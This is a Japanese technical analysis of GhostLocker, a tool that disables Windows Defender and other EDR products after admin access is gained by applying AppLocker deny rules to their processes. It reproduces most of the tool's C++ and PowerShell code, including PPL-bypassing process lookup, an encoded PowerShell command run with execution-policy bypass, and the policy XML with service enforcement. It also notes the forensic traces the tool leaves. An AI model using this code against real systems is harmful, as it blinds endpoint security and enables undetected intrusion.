Scarlet Tactics

悪用厳禁

EDR-GhostLocker 詳細技術解析

github.com

1. ツール全体の目的と攻撃フロー

GhostLockerは以下の一連の攻撃フローを自動化するツールです。

[管理者権限取得済み]
       │
       ▼
(1) EDRプロセスの特定・パス取得
       │
       ▼
(2) AppLocker Denyルールを含むXMLポリシーの生成
       │
       ▼
(3) PowerShellスクリプトをBase64エンコードしてインメモリ実行
       │
       ▼
(4) Set-AppLockerPolicy でポリシー適用 → gpupdate /force
       │
       ▼
(5) 再起動後、EDRユーザーランドプロセスの起動がカーネルレベルでブロック
       │
       ▼
(6) EDRカーネルドライバはテレメトリ収集を継続するが
    ユーザーランド分析エンジン不在のため検知能力喪失

重要な前提として、このツールは管理者権限を既に保持しているポストエクスプロイテーションのフェーズで使用されます。権限昇格そのものは本ツールのスコープ外です。

AppLocker自体はWindows 7(2009年)から存在する古い機能ですが(→ [Ref.3])、EDRのユーザーランドプロセスをDenyルールでブロックして再起動後に無力化するという具体的な攻撃用途の自動化・最適化(動的列挙版+ワイルドカード版、PPL回避、Services Enforcement有効化)は、GhostLocker(およびインスパイア元のdiversenok(→ [Ref.2])の指摘)が初めて体系的に実装・公開した比較的新しいアプローチです。従来のEDRバイパス(BYOVD、unhooking、IFEOなど)と比べ、「合法的なWindows管理機能」を悪用する点が特徴です。


2. ファイル構成と役割

ファイル 役割
ntdefs.h 未公開のNT API構造体・列挙型の定義。Windows SDKには含まれない型を手動定義
main.cpp 動的列挙版。実行中のEDRプロセスを列挙し、フルパスを取得してDenyルールを生成
main_improved.cpp ワイルドカード版。プロセス列挙を省略し *\exe名ワイルドカードルールを静的に生成

3. ntdefs.h — 未公開API定義の意図

UNICODE_STRING構造体(ntdefs.h 4-9行目)

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

これはNTカーネル内部で文字列を表現する標準的な構造体です。Win32 APILPWSTR(NUL終端ワイド文字列)とは異なり、Length フィールドで文字列長をバイト単位で明示的に管理します。NUL終端を前提としないため、カーネル内部ではバッファオーバーリードのリスクが低い設計です。

_Field_size_bytes_part_opt_ は SAL(Source Annotation Language)アノテーションで、静的解析ツール向けにバッファサイズの制約を表現しています。コンパイル結果には影響しません。SALアノテーションの詳細はMicrosoft公式ドキュメントを参照してください(→ [Ref.22])。

SYSTEM_PROCESS_ID_INFORMATION構造体(ntdefs.h 11-15行目)

typedef struct SYSTEM_PROCESS_ID_INFORMATION
{
    ULONGLONG ProcessId;
    UNICODE_STRING ImageName;
} *PSYSTEM_PROCESS_ID_INFORMATION;

この構造体は NtQuerySystemInformation の情報クラス SystemProcessIdInformation(0x58 = enum値88)に対応する入出力バッファです。ProcessId にPIDを入力として渡すと、ImageName にそのプロセスのイメージパスがNTデバイスパス形式で返されます。

Geoff Chappell氏の逆アセンブリ解析(→ [Ref.1c])によれば、この構造体は32ビットで0x0C、64ビットで0x18バイトのサイズを持ちます。入力時に Length は0でなければならず、MaximumLength は2の倍数、Bufferユーザーモードアドレス空間内に収まる必要があります。成功時に LengthMaximumLength にコピーされた名前の情報が設定されます。プロセスに名前がない場合は MaximumLength が0に、Buffer がNULLにクリアされます。

なぜこれがntdefs.hに手動定義されているか: この情報クラスはMicrosoftの公式SDKヘッダ(winternl.h)には含まれていません。公式ドキュメント(→ [Ref.5])では NtQuerySystemInformation 自体は記載されていますが、SystemProcessIdInformation は未公開の情報クラスとして一切記載がありません。ReactOS、Process Hacker(現System Informer)、phntプロジェクト(→ [Ref.1a])等のリバースエンジニアリングコミュニティで解析された定義に基づいています。NtDoc(→ [Ref.1b])はphntヘッダベースのオンラインリファレンスで、各情報クラスの詳細を確認できます。

SYSTEM_INFORMATION_CLASS列挙型(ntdefs.h 24-281行目)

この巨大な列挙型は NtQuerySystemInformation の第1引数として渡す情報クラスの全リストです。本ツールで使用されるのは SystemProcessIdInformation(87番目のエントリ、ntdefs.h 114行目)のみです。

SystemProcessIdInformation,                             // q: SYSTEM_PROCESS_ID_INFORMATION

ファイル全体で280以上のエントリが定義されていますが、これはphnt(Process Hacker Native API headers)プロジェクト(→ [Ref.1a])からの引用と思われます。各エントリのコメントには、対応する構造体名、読み取り(q)/書き込み(s)/読み書き(qs)の区別、必要な特権、対応するWindows バージョンが記載されています。


4. main.cpp — 動的列挙版の詳細解析

4.1 ターゲット定義とプロセスマッチング

ターゲット配列(main.cpp 22-28行目)

const wchar_t* targetNames[] =
{
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
};

これらはWindows Defenderの主要なユーザーランドプロセスです。

  • MsMpEng.exe: Microsoft Malware Protection Engine。Defenderのコアスキャンエンジンで、リアルタイム保護、オンデマンドスキャン、ヒューリスティック分析を担います。PPL(Protected Process Light)として動作し(→ [Ref.8a])、通常の OpenProcess による操作が拒否されます(→ [Ref.8b])。Microsoft Defender for Endpointのアーキテクチャ詳細は公式ドキュメントを参照してください(→ [Ref.12])。
  • MpDefenderCoreService.exe: Windows 11で導入されたDefenderの新しいコアサービスプロセスで、MsMpEngの一部機能を分離したものです。
  • WinDefend.exe: Windows Defenderサービスのホストプロセス。SCM(Service Control Manager)経由でサービスとして起動されます。

コメント // Can be extended が示す通り、他のEDR製品のプロセス名をこの配列に追加することで、任意のEDR製品に対して適用可能です。

ターゲット数の算出(main.cpp 30行目)

const size_t targetCount = sizeof(targetNames) / sizeof(targetNames[0]);

配列全体のバイトサイズを1要素のバイトサイズで除算し、要素数を算出するC/C++の定型パターンです。ハードコードされた数値ではなく、配列に要素を追加しても自動的に正しい数を返します。

マッチング関数(main.cpp 231-239行目)

bool isTargetProcess(const wchar_t* exeName)
{
    for (size_t i = 0; i < targetCount; i++)
    {
        if (_wcsicmp(exeName, targetNames[i]) == 0)
            return true;
    }
    return false;
}

_wcsicmp はワイド文字列の大文字小文字を無視した比較を行うCRT関数です。Windows上のプロセス名は表示上の大文字小文字が一致しない場合があるため(例: タスクマネージャでは msmpeng.exe と表示されることがある)、case-insensitiveな比較が必要です。


4.2 プロセス列挙 — findTargetsAndQueryPaths()

main.cpp 241-271行目

void findTargetsAndQueryPaths()
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return;

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);

    if (Process32FirstW(snap, &pe))
    {
        do
        {
            if (isTargetProcess(pe.szExeFile))
            {
                printf(
                    GREEN "[+] Found Target Process\n" RESET
                    YELLOW "    Name:  " RESET "%ws\n"
                    YELLOW "    PID:   " RESET "%lu\n",
                    pe.szExeFile,
                    pe.th32ProcessID
                );
                printf("\n");
                FuncNtQuerySystemInformation(pe.th32ProcessID);
            }

        } while (Process32NextW(snap, &pe));
    }

    CloseHandle(snap);
}

ステップ解説:

  1. CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) — システム上の全プロセスのスナップショットを取得します(→ [Ref.11])。TH32CS_SNAPPROCESS フラグはプロセス一覧の取得を指示します。第2引数の 0 はプロセスIDフィルタですが、TH32CS_SNAPPROCESS では無視されます。

    なぜToolhelp32か: この API は低特権プロセスからでも呼び出せます。EnumProcesses(PSAPI)も同様の機能を提供しますが、Toolhelp32 はプロセス名を直接返すため追加の OpenProcess + QueryFullProcessImageName が不要です。EDRプロセスは PPL で保護されており OpenProcess が失敗するため(→ [Ref.8b])、ハンドルを開かずにプロセス名だけを取得できる Toolhelp32 は理に適った選択です。

  2. pe.dwSize = sizeof(pe)PROCESSENTRY32W 構造体の dwSize メンバにサイズを設定します。Win32 APIの多くの構造体は、バージョニングのために先頭にサイズフィールドを持ち、これを設定しないと API が失敗します。

  3. Process32FirstW / Process32NextW — スナップショット内のプロセスエントリを順次走査します。pe.szExeFile には実行ファイル名のみ(パスなし)が格納されます。例えば MsMpEng.exe は返りますが、C:\ProgramData\Microsoft\Windows Defender\Platform\...\MsMpEng.exe は返りません。

  4. ターゲット発見時FuncNtQuerySystemInformation(pe.th32ProcessID) を呼んでフルパスを取得します。Toolhelp32はファイル名しか返さないため、AppLockerのパスベースルールに必要なフルパスは別の手段で取得する必要があります。

  5. ANSI エスケープコードGREEN, YELLOW, CYAN, RESET マクロ(main.cpp 12-16行目で定義)はVT100エスケープシーケンスで、Windows 10以降のコンソールでカラー出力を実現します。ツールの出力を視認しやすくするためのもので、機能的な意味はありません。


4.3 NtQuerySystemInformationによるパス解決

main.cpp 175-228行目

bool FuncNtQuerySystemInformation(ULONGLONG PID)
{
    NTSTATUS status;

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll)
        return false;

    _NtQuerySystemInformation NtQuerySystemInformation =
        (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation)
        return false;

動的解決を行う理由: NtQuerySystemInformationntdll.dll からエクスポートされていますが、Windows SDK のインポートライブラリ(ntdll.lib)を直接リンクするのは一般的ではありません。GetModuleHandleA は既にプロセスにロードされた DLL のハンドルを返します(ntdll.dll は全プロセスに常にロードされている)。GetProcAddress で関数ポインタを取得し、型定義 _NtQuerySystemInformation(main.cpp 153-158行目)でキャストしています。

公式ドキュメント(→ [Ref.5])には NtQuerySystemInformation について「将来のバージョンで変更または利用不可能になる可能性がある」との警告がありますが、実際には数十年にわたって安定して利用可能であり、セキュリティツールやシステム管理ツールで広く使用されています。

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID                    SystemInformation,
    ULONG                    SystemInformationLength,
    PULONG                   ReturnLength
    );

この関数ポインタ型は NtQuerySystemInformationシグネチャと一致します。NTAPI__stdcall 呼出規約を示し、NTカーネルAPIの標準です。

    void* allocBuffer = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, 1024);
    if (!allocBuffer)
        return false;

    SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
    spi.ProcessId = PID;
    spi.ImageName.MaximumLength = 1024;
    spi.ImageName.Buffer = (PWSTR)allocBuffer;

バッファ準備: LocalAlloc で1024バイトのゼロ初期化済みバッファを確保し、UNICODE_STRINGBuffer に設定します。MaximumLength = 1024APIに「ここまで書き込んでよい」というバッファサイズを伝えます。1024バイトは512文字分(UTF-16LEは1文字2バイト)であり、通常のWindowsパスには十分ですが、MAX_PATH(260文字 = 520バイト)を超える長いパスでは不足する可能性があります。Geoff Chappell氏の解析(→ [Ref.1c])によれば、MaximumLength が不足した場合は STATUS_INFO_LENGTH_MISMATCH が返され、出力の MaximumLength に必要なサイズが格納されるため、リトライが可能です。

    status = NtQuerySystemInformation(
        SystemProcessIdInformation,
        &spi,
        sizeof(spi),
        0
    );

呼び出し: 情報クラス SystemProcessIdInformation を指定し、spi 構造体を入出力バッファとして渡します。呼び出し成功時、spi.ImageName.Buffer にNTデバイスパス形式の文字列が、spi.ImageName.Length に実際のバイト長が格納されます。

なぜこのAPIを選択するか: EDR プロセスの多くは PPL(Protected Process Light)として動作しています(→ [Ref.8a])。通常のプロセスから PPL プロセスに対して OpenProcess(PROCESS_QUERY_INFORMATION, ...) を呼ぶと STATUS_ACCESS_DENIED で拒否されます(→ [Ref.8b])。QueryFullProcessImageNameW はプロセスハンドルを必要とするため、PPL に対しては使用不可能です。

一方、NtQuerySystemInformation(SystemProcessIdInformation, ...)プロセスハンドルを一切必要としません。PID を渡すだけでイメージパスを返します。これはカーネル内部で EPROCESS 構造体から直接パス情報を読み取るためであり、プロセスのセキュリティ記述子による保護を迂回できます。この特性が、PPL で保護されたEDRプロセスのパスを取得するためにこのAPIが選ばれた本質的な理由です。TheWover氏のGist(→ [Ref.6])にこの手法の実装例があります。

    if (status != 0)
    {
        printf(RED "    [-] Query failed (NTSTATUS: 0x%08X)\n" RESET, status);
        LocalFree(allocBuffer);
        return false;
    }

    std::wstring ntPath(spi.ImageName.Buffer, spi.ImageName.Length / sizeof(WCHAR));
    std::wstring win32Path = ForceHarddiskVolumeToC(ntPath);

    g_Win32Paths.push_back(win32Path);

spi.ImageName.Length はバイト単位なので、sizeof(WCHAR) で割ってワイド文字数を得ます。取得したパスを ForceHarddiskVolumeToC でWin32パスに変換し、グローバルベクタ g_Win32Paths(main.cpp 19行目)に格納します。


4.4 NTパス→Win32パス変換の問題点

main.cpp 160-172行目

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";

    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }

    return ntPath;
}

NtQuerySystemInformation が返すパスはNTデバイスパス形式です(例: \Device\HarddiskVolume3\Windows\System32\MsMpEng.exe)。AppLockerのFilePathRuleはWin32パス形式(C:\Windows\System32\MsMpEng.exe)を要求するため、変換が必要です。

問題点: HarddiskVolume3 がハードコードされています。Windowsでは物理ディスクのパーティション構成によってボリューム番号が変わります。例えば、EFI System Partition がVolume1、Recovery がVolume2、OS がVolume3 というのは典型的ですが、RAID構成、マルチディスク、仮想ディスクなどの環境では異なる番号になります。

本来あるべき実装: QueryDosDeviceW(→ [Ref.9])で全ドライブレターを列挙し、各ドライブレターに対して QueryDosDevice(L"C:", ...) でNTデバイスパスのプレフィクスを取得し、マッチングさせるべきです。または GetVolumePathNamesForVolumeName を使うアプローチもあります。

ntPath.rfind(prefix, 0) == 0 は「文字列の先頭(位置0)からプレフィクスを逆方向検索して位置0で見つかる = 先頭がプレフィクスと一致する」というイディオムで、C++17の starts_with に相当します。マッチしない場合はNTパスがそのまま返されますが、これではAppLockerルールが正しく機能しません。


4.5 PowerShell配列の構築

BuildPowerShellArray()(main.cpp 273-289行目)

std::wstring BuildPowerShellArray()
{
    if (g_Win32Paths.empty())
        return L"";

    std::wstring output;

    for (size_t i = 0; i < g_Win32Paths.size(); i++)
    {
        output += L"\\\"" + g_Win32Paths[i] + L"\\\"";

        if (i + 1 < g_Win32Paths.size())
            output += L",";
    }

    return output;
}

この関数は 表示用 の文字列を構築しています(main.cpp 397行目の wprintf で使用)。エスケープされた引用符 \" で各パスを囲んでいます。

BuildPowerShellExeArray()(main.cpp 291-308行目)

std::wstring BuildPowerShellExeArray()
{
    if (g_Win32Paths.empty())
        return L"@()";

    std::wstring result = L"@(";
    for (size_t i = 0; i < g_Win32Paths.size(); ++i)
    {
        result += L"\"";
        result += g_Win32Paths[i];
        result += L"\"";

        if (i + 1 < g_Win32Paths.size())
            result += L",";
    }
    result += L")";
    return result;
}

こちらが 実際にPowerShellスクリプト内で使用される 配列式です。PowerShellの配列リテラル @("path1","path2") 形式を生成します。空の場合は @() を返し、PowerShell側の foreach ループが何もせず正常に完了するようにしています。

2つの関数が存在する理由: BuildPowerShellArray はコンソール出力用(ユーザーに何が渡されるか確認させる)、BuildPowerShellExeArrayスクリプト埋め込み用という用途の分離です。


4.6 Base64エンコードとインメモリ実行

Base64Encode()(main.cpp 324-355行目)

std::wstring Base64Encode(const BYTE* data, size_t len)
{
    static const wchar_t* base64_chars =
        L"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    std::wstring result;
    result.reserve((len + 2) / 3 * 4);

    for (size_t i = 0; i < len; i += 3)
    {
        unsigned char b1 = data[i];
        unsigned char b2 = (i + 1 < len) ? data[i + 1] : 0;
        unsigned char b3 = (i + 2 < len) ? data[i + 2] : 0;

        unsigned int triple = (b1 << 16) | (b2 << 8) | b3;

        result.push_back(base64_chars[(triple >> 18) & 0x3F]);
        result.push_back(base64_chars[(triple >> 12) & 0x3F]);

        if (i + 1 < len)
            result.push_back(base64_chars[(triple >> 6) & 0x3F]);
        else
            result.push_back(L'=');

        if (i + 2 < len)
            result.push_back(base64_chars[triple & 0x3F]);
        else
            result.push_back(L'=');
    }

    return result;
}

標準的なBase64エンコード実装です。3バイトを4文字に変換し、端数バイトは = でパディングします。

なぜ自前実装か: Windows API には CryptBinaryToStringW という Base64 エンコード関数がありますが、依存を減らすために自前で実装しています。result.reserve((len + 2) / 3 * 4) で出力サイズを事前確保し、再アロケーションを防いでいます。

なぜ std::wstring で返すか: 生成される Base64 文字列はASCII互換の文字のみで構成されますが、最終的に ShellExecuteW のワイド文字列パラメータとして渡すため、wstring で構築しています。

RunPowerShellInMemory()(main.cpp 358-385行目)

void RunPowerShellInMemory()
{
    if (g_Win32Paths.empty())
    {
        printf("[-] No Win32 paths collected, skipping PowerShell.\n");
        return;
    }

    std::wstring script = BuildFullPowerShellScript();

    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);

    std::wstring encoded = Base64Encode(bytes, byteLen);

    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;

    ShellExecuteW(
        NULL,
        L"runas",            // Admin
        L"powershell.exe",
        params.c_str(),
        NULL,
        SW_SHOW
    );
}

ステップ解説:

  1. スクリプト構築: BuildFullPowerShellScript()(main.cpp 311-322行目)は $ExeToBlock = @("path1","path2") というPowerShell変数宣言と、g_PowerShellBody(後述のXMLポリシー生成スクリプト)を連結した完全なスクリプトを返します。

  2. UTF-16LEバイト列への変換: script.c_str()wchar_t*Windowsでは2バイト = UTF-16LE)を返します。これを BYTE* にキャストし、バイト長は script.size() * sizeof(wchar_t) で算出します。PowerShell-EncodedCommandUTF-16LEのBase64エンコードを仕様として要求するため(→ [Ref.10a])、このエンコーディングは必須です。UTF-8で渡すとPowerShellがデコードに失敗します。文字列エンコーディングの詳細は公式ドキュメントを参照してください(→ [Ref.10b])。

  3. コマンドラインパラメータ:

    • -NoProfile: ユーザーのPowerShellプロファイル($PROFILE)を読み込みません。プロファイルにログ出力やセキュリティ監視のフックが仕込まれている可能性を排除するためです。
    • -ExecutionPolicy Bypass: スクリプト実行ポリシーを無視します。企業環境では RestrictedAllSigned に設定されていることがあり、これを迂回します。-ExecutionPolicy はプロセスレベルの設定であり、永続的なポリシー変更は行いません。
    • -EncodedCommand: Base64エンコードされたコマンドを受け取ります。コマンドライン引数の文字数制限(約32,767文字)以内であれば任意の長さのスクリプトを渡せます。また、特殊文字のエスケープ問題を回避できます。
  4. ShellExecuteWrunas 動詞(→ [Ref.13]): UAC(User Account Control)ダイアログを表示し、管理者権限への昇格を要求します。AppLockerポリシーの適用(Set-AppLockerPolicy)には管理者権限が必須です。

    SW_SHOW: ウィンドウを表示状態で起動します。これはPoC(概念実証)的な実装であり、実運用では SW_HIDE にしてウィンドウを非表示にするのが一般的です。

「インメモリ実行」の意味: スクリプト全体がBase64エンコードされてコマンドライン引数として渡されるため、ディスク上に .ps1 ファイルが作成されませんフォレンジック観点では、ディスク上のスクリプトファイルとして残らないため、ファイルベースの検知(EDRのファイルスキャン、Sysmonのファイル作成ログ等)を回避できます。ただし、コマンドラインはプロセス作成イベント(Event ID 4688、Sysmon Event ID 1)に記録されるため、Base64文字列としてログに残る可能性があります。また、AMSI(Antimalware Scan Interface)(→ [Ref.14])はBase64デコード後のスクリプト内容を検査できるため、AMSIが有効な環境ではスクリプト内容が検知される可能性もあります。


4.7 埋め込みPowerShellスクリプト本体

g_PowerShellBody(main.cpp 33-149行目)

このPowerShellスクリプトC++のraw string literal LR"(...)" として埋め込まれています。

パス検証(main.cpp 43-48行目)

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

動的列挙版(main.cpp)では、実行中のプロセスから取得したフルパスを使用するため、パスの存在確認を行います。ファイルが存在しない場合はスクリプトを中断します。

注意点: ワイルドカード版(main_improved.cpp)ではこの検証が 削除されています(improved版のコメント: # No validation needed for wildcard paths like '*\MsMpEng.exe')。Test-Pathワイルドカードパスに対して予期しない動作をする可能性があるためです。

GUIDの生成(main.cpp 50-56行目)

$guidAllowExeSigned   = [guid]::NewGuid().ToString()
$guidAllowExeAllPath  = [guid]::NewGuid().ToString()
$guidAllowMsiSigned   = [guid]::NewGuid().ToString()
$guidAllowMsiAllPath  = [guid]::NewGuid().ToString()
$guidAllowScript      = [guid]::NewGuid().ToString()
$guidAllowAppx        = [guid]::NewGuid().ToString()

AppLockerの各ルールには一意のIDが必要です。実行の度に新しいGUIDを生成することで、ルールIDの衝突を防ぎます。静的なIDを使うと、既存ポリシーとの重複や、フォレンジック上の指紋(IoC)になり得ます。

動的Denyルールの構築(main.cpp 58-68行目)

$dynamicBlockRules = ''

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf

    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + ...
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

$ExeToBlock 配列の各要素に対して、AppLockerの FilePathRule XML要素を文字列連結で構築します。Split-Path $exe -Leaf はパスからファイル名部分のみを取得し、ルールの Name 属性に使用します(人間が管理コンソールで見た時の表示名)。AppLockerのルールタイプの詳細は公式ドキュメント(→ [Ref.3])を参照してください。

ポリシー適用(main.cpp 135-148行目)

$tempPath = [System.IO.Path]::GetTempFileName()
Set-Content -Path $tempPath -Value $xml -Encoding UTF8

Write-Host '[*] Applying AppLocker policy...'
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop

Remove-Item $tempPath -Force
gpupdate /force | Out-Null
  1. 一時ファイル作成: [System.IO.Path]::GetTempFileName()%TEMP% ディレクトリに一意のファイル名で空ファイルを作成します。Set-AppLockerPolicy(→ [Ref.4b])はファイルパスを要求するため、スクリプトから直接XMLを渡すことはできず、一旦ファイルに書き出す必要があります。

  2. Set-AppLockerPolicy -XmlPolicy $tempPath: AppLocker PowerShell モジュール(AppLocker モジュール)のコマンドレットで、XML形式のポリシーをシステムに適用します(→ [Ref.4b])。内部的には、XMLを解析してレジストリHKLM\Software\Policies\Microsoft\Windows\SrpV2)に書き込み、AppIDSvc サービスにポリシー変更を通知します。

  3. Remove-Item $tempPath -Force: 一時ファイルを削除します。フォレンジック上のアーティファクト削減が目的です。ただし、$TEMP の削除済みファイルはNTFSジャーナル($UsnJrnl)やMFTレコードに痕跡が残る可能性があります。

  4. gpupdate /force: グループポリシーの強制更新を実行します。AppLockerポリシーはグループポリシーの一部として管理されるため、変更を即座に反映させるために必要です。| Out-Null で標準出力を破棄しています。


4.8 main()のエントリポイント

main.cpp 388-408行目

int main()
{
    findTargetsAndQueryPaths();

    std::wstring psArg = BuildPowerShellArray();

    if (!psArg.empty())
    {
        wprintf(L"\n" CYAN L"[+] PowerShell Input: " RESET L"%ws\n", psArg.c_str());
        RunPowerShellInMemory();
    }
    else
    {
        printf(RED "[-] No paths found.\n" RESET);
    }

    getchar();

    return 0;
}

実行フローは以下のとおりです。

  1. findTargetsAndQueryPaths()EDRプロセスの列挙とパス取得を行い、g_Win32Paths に格納
  2. BuildPowerShellArray() で表示用文字列を構築し、パスが見つかったか判定
  3. パスが見つかった場合、RunPowerShellInMemory() でポリシー適用を実行
  4. getchar() でキー入力を待機(コンソールウィンドウが即座に閉じるのを防止。デバッグ/デモ用途)

5. main_improved.cpp — ワイルドカード版との差分

削除されたコード

main_improved.cpp では以下が完全に削除されています。

  • #include "ntdefs.h" — 未公開API定義が不要に
  • #include <TlHelp32.h> — Toolhelp32プロセス列挙が不要に(→ [Ref.11])
  • #include <vector> — パス格納用ベクタが不要に
  • g_Win32Paths グローバルベクタ
  • ForceHarddiskVolumeToC() — NT→Win32パス変換
  • FuncNtQuerySystemInformation() — NtQuerySystemInformation呼び出し(→ [Ref.5])
  • isTargetProcess() — プロセス名マッチング
  • findTargetsAndQueryPaths() — プロセス列挙ループ
  • BuildPowerShellArray() — 表示用配列構築

変更されたBuildPowerShellExeArray()(main_improved.cpp 141-158行目)

std::wstring BuildPowerShellExeArray()
{
    if (targetCount == 0)
        return L"@()";

    std::wstring result = L"@(";
    for (size_t i = 0; i < targetCount; ++i)
    {
        result += L"\"*\\";
        result += targetNames[i];
        result += L"\"";

        if (i + 1 < targetCount)
            result += L",";
    }
    result += L")";
    return result;
}

変更の核心: g_Win32Paths(実行中プロセスから取得した絶対パス)の代わりに、targetNames 配列の各エントリに *\\ プレフィクスを付けてワイルドカードパスを生成しています。

例: targetNames[1] = L"MsMpEng.exe""*\\MsMpEng.exe" → AppLockerは任意のディレクトリにある MsMpEng.exe をブロック

AppLockerのワイルドカード仕様: * は0文字以上の任意の文字列にマッチします。*\MsMpEng.exe は「任意のディレクトリパスの末尾が \MsMpEng.exe であるファイル」にマッチします。AppLockerのパスベースルールにおけるワイルドカードの使用方法の詳細は公式ドキュメント(→ [Ref.3])を参照してください。これにより、EDRのインストールパスが不明でも、また将来的にパスが変更されてもルールが有効に機能します。このアプローチのきっかけはdiversenok氏(→ [Ref.2])の指摘によるものです。

PowerShellスクリプトの差分

main_improved.cpp の g_PowerShellBody では、パス検証ブロックが削除されています。

# No validation needed for wildcard paths like '*\MsMpEng.exe'

Test-Path '*\MsMpEng.exe'ファイルシステム上のグロブ展開として解釈され、ワイルドカードに一致するファイルが存在すれば $true、しなければ $false を返します。しかし、意図としては「このパターンのバイナリが存在するか」ではなく「このパターンをAppLockerルールに使いたい」なので、検証自体が不適切です。

SIDの変更(main_improved.cpp 52行目)

# main.cpp:      UserOrGroupSid="S-1-1-0"   (Everyone = 全ユーザー)
# improved版:    UserOrGroupSid="S-1-5-18"   (Local System)

improved版のDenyルールは S-1-5-18(Local System)に対して適用されます。EDRプロセスの多くはSYSTEMアカウントで動作するため、より正確なターゲティングです。一方、main.cppでは S-1-1-0(Everyone)を使っており、全ユーザーコンテキストでブロックします。SIDの一覧と意味はMicrosoftの公式ドキュメント(→ [Ref.15])を参照してください。


6. AppLockerポリシーXMLの構造と設計意図

6.1 RuleCollection全体の構成

ポリシーXMLには5つの RuleCollection が含まれています。

RuleCollection Type EnforcementMode 目的
Appx NotConfigured UWPアプリは制御しない(副作用防止)
Dll NotConfigured DLL制御は無効(パフォーマンスへの影響大)
Exe Enabled EXEルールのみアクティブに強制
Msi NotConfigured インストーラは制御しない
Script NotConfigured スクリプトは制御しない

Exe のみ Enabled にすることで、影響範囲を最小限に抑えつつEDRプロセスのみをブロックします。DLL を Enabled にするとシステム全体のパフォーマンスが大幅に低下します(全DLLロードの度にルール評価が走るため)。AppLockerのルールコレクションの種類と強制モードの詳細は公式ドキュメント(→ [Ref.3])を参照してください。

6.2 Denyルールの動的生成

Exe RuleCollection内のルール配置順は以下の通りです。

1. Allow: FilePublisherRule (全署名付きEXE)
2. Deny: FilePathRule (ターゲットEDRバイナリ)  ← 動的に挿入
3. Allow: FilePathRule (Path="*", フォールバック)

AppLockerのルール評価ロジックでは Deny が常に Allow に優先 します(→ [Ref.3])。したがって、ターゲットEDRバイナリはDenyルールにマッチした時点でブロックされ、後続のAllowルールは評価されません。

フォールバックの Allow Path="*" は、Denyルールにマッチしない全てのEXEの実行を許可します。これがないと、AppLockerの Enabled モードでは明示的にAllowされていないEXEは全てブロックされるため、システムが正常に動作しなくなります。

AppLockerのXMLポリシースキーマの完全な定義はMattifestation氏のGist(→ [Ref.7])で確認できます。

6.3 サービスプロセス強制の有効化

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

ThresholdExtensions > Services EnforcementMode="Enabled": AppLockerのルール評価をサービスプロセス(SCM経由で起動されるプロセス)にも適用します。デフォルトでは無効であり、EDRサービスはこの設定なしにはブロックできません。

RedstoneExtensions > SystemApps Allow="Enabled": システムアプリ(svchost.execsrss.exe 等)の実行を許可します。これがないと、サービス強制を有効にした時点で重要なシステムプロセスもブロックされ、OSが起動不能になる可能性があります。

Microsoft公式ドキュメント(→ [Ref.4a])には以下の重要な警告が記載されています: 「RuleCollectionExtensionsを追加する場合は、ThresholdExtensionsとRedstoneExtensionsの両方を含めなければなりません。そうしないとポリシーが予期しない動作を引き起こします。」 この2つの設定の組み合わせが「サービスとして動作するEDRをブロックしつつ、OS自体は正常に動作させる」ために不可欠です。

この拡張はWindows 10Windows 11、およびWindows Server 2016以降でのみサポートされています(→ [Ref.4a])。

6.4 SID選択の違いと影響

SID 名前 適用範囲 使用バージョン
S-1-1-0 Everyone 全ユーザー・全セッション main.cpp
S-1-5-18 Local System SYSTEM アカウントのみ main_improved.cpp

S-1-1-0 (Everyone) の利点: EDRが仮にSYSTEM以外のアカウント(例: NetworkService、専用サービスアカウント)で動作している場合でも確実にブロックできます。

S-1-5-18 (Local System) の利点: SYSTEM以外のユーザーが同名の正規バイナリを実行する場合に影響を与えません。精度が高い反面、EDRが別アカウントで動作する場合はすり抜けます。

Well-Known SIDの定義はMicrosoft公式ドキュメント(→ [Ref.15])を参照してください。


7. ポリシー適用からEDR無力化までのタイムライン

T+0:   GhostLocker実行
       └→ プロセス列挙 + パス取得(数ミリ秒)

T+1s:  PowerShellスクリプト実行開始
       └→ UAC昇格ダイアログ(ユーザー操作待ち)

T+2s:  Set-AppLockerPolicy 実行
       └→ XMLポリシーがレジストリ(SrpV2キー)に書き込まれる
       └→ AppIDSvc がポリシー変更を検知
       └→ AppID.sys にIOCTL経由で新ポリシーが伝達される

T+3s:  gpupdate /force 実行
       └→ グループポリシーの即時反映

T+3s〜再起動前:
       EDRプロセスは依然として動作中(AppLockerは実行中プロセスを終了しない)
       新規のEDRプロセス起動は既にブロックされる

